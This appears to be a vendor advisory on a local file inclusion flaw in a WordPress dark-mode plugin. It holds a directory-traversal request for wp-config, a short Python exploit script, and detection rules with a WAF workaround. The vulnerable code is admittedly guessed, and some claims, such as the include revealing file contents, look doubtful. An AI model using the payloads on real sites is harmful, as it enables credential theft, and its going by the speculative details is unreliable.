CVE-2025-32154

Executive Summary

CVE-2025-32154 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Catch Dark Mode WordPress plugin by Catch Themes, up to and including version 2.0.1. This vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. The CVSS score of 7.5 (High) reflects the ease of exploitation and the potential for information disclosure, including sensitive files like wp-config.php. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and through the Catch Themes website. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions. Users should verify the integrity of their plugin files and monitor for any unauthorized changes.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to the disclosure of database credentials, API keys, and other sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the catch-dark-mode.php file (or a similar include file) where a user-supplied parameter (likely page or file) is passed directly to a PHP function like include() or require() without proper sanitization or validation. An attacker can manipulate this parameter to traverse directories and include arbitrary files from the server.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

By sending a request like:

/wp-content/plugins/catch-dark-mode/catch-dark-mode.php?file=../../../../wp-config

The attacker can read the WordPress configuration file, which contains database credentials.

The vulnerability is classified as CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') but in this case, it is limited to local file inclusion due to the plugin's context.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.0.1):

// catch-dark-mode.php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include(plugin_dir_path(__FILE__) . 'admin/' . $page . '.php');
}

Patched Code (Hypothetical):

// catch-dark-mode.php
$allowed_pages = array('settings', 'about', 'help');
if (isset($_GET['page']) && in_array($_GET['page'], $allowed_pages)) {
    $page = sanitize_file_name($_GET['page']);
    include(plugin_dir_path(__FILE__) . 'admin/' . $page . '.php');
} else {
    // Default behavior or error
}

The patched version uses a whitelist of allowed pages and sanitizes the filename, preventing directory traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Catch Dark Mode <= 2.0.1 active.
• Knowledge of the target's base URL.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., page or file).
2. Craft a request to include a sensitive file:

   GET /wp-content/plugins/catch-dark-mode/catch-dark-mode.php?page=../../../../wp-config HTTP/1.1
   Host: target.com
   

3. The server will return the contents of wp-config.php (if the extension is appended automatically, try without .php or use a null byte %00).

Automated Exploit (Python):

import requests

target = "http://target.com/wp-content/plugins/catch-dark-mode/catch-dark-mode.php"
params = {"page": "../../../../wp-config"}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in the query string.
• Look for requests to catch-dark-mode.php with unusual page parameters.
• Use the Sigma rule below to detect exploitation attempts.

Honeypot:

• Deploy a fake wp-config.php file with a unique string to alert on access.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/catch-dark-mode/catch-dark-mode.php
• Network Indicators:
  • HTTP GET requests with page=../../../../wp-config or similar patterns.
  • User-Agent strings from common exploitation tools (e.g., python-requests/2.x).
• Log Entries:
  • Apache/Nginx access logs showing 404 or 200 responses for catch-dark-mode.php with directory traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2025_32154_Catch_Dark_Mode_LFI {
    meta:
        description = "Detects exploitation attempts for CVE-2025-32154 in Catch Dark Mode plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-32154"
    strings:
        $s1 = "catch-dark-mode.php" nocase
        $s2 = "page=" nocase
        $s3 = "../" nocase
        $s4 = "wp-config" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-32154 Catch Dark Mode LFI Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Local File Inclusion in Catch Dark Mode plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'catch-dark-mode.php'
            - 'page='
            - '../'
            - 'wp-config'
    condition: selection
falsepositives:
    - Legitimate use of the plugin with valid page parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32154 Catch Dark Mode LFI Attempt"; flow:to_server,established; content:"catch-dark-mode.php"; http_uri; content:"page="; http_uri; content:"../"; http_uri; content:"wp-config"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block directory traversal patterns in the query string.
3. Restrict file permissions on wp-config.php to prevent reading by the web server user.

Long-term Fix:

• The vendor (Catch Themes) must release a patched version that sanitizes input and uses a whitelist approach.
• Users should monitor the WordPress Plugin Directory for updates.

Workaround:

• Add the following to .htaccess (if using Apache):

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|wp-config) [NC]
  RewriteRule .* - [F,L]
  </IfModule>
  

Valters IT
Securing Digital Frontiers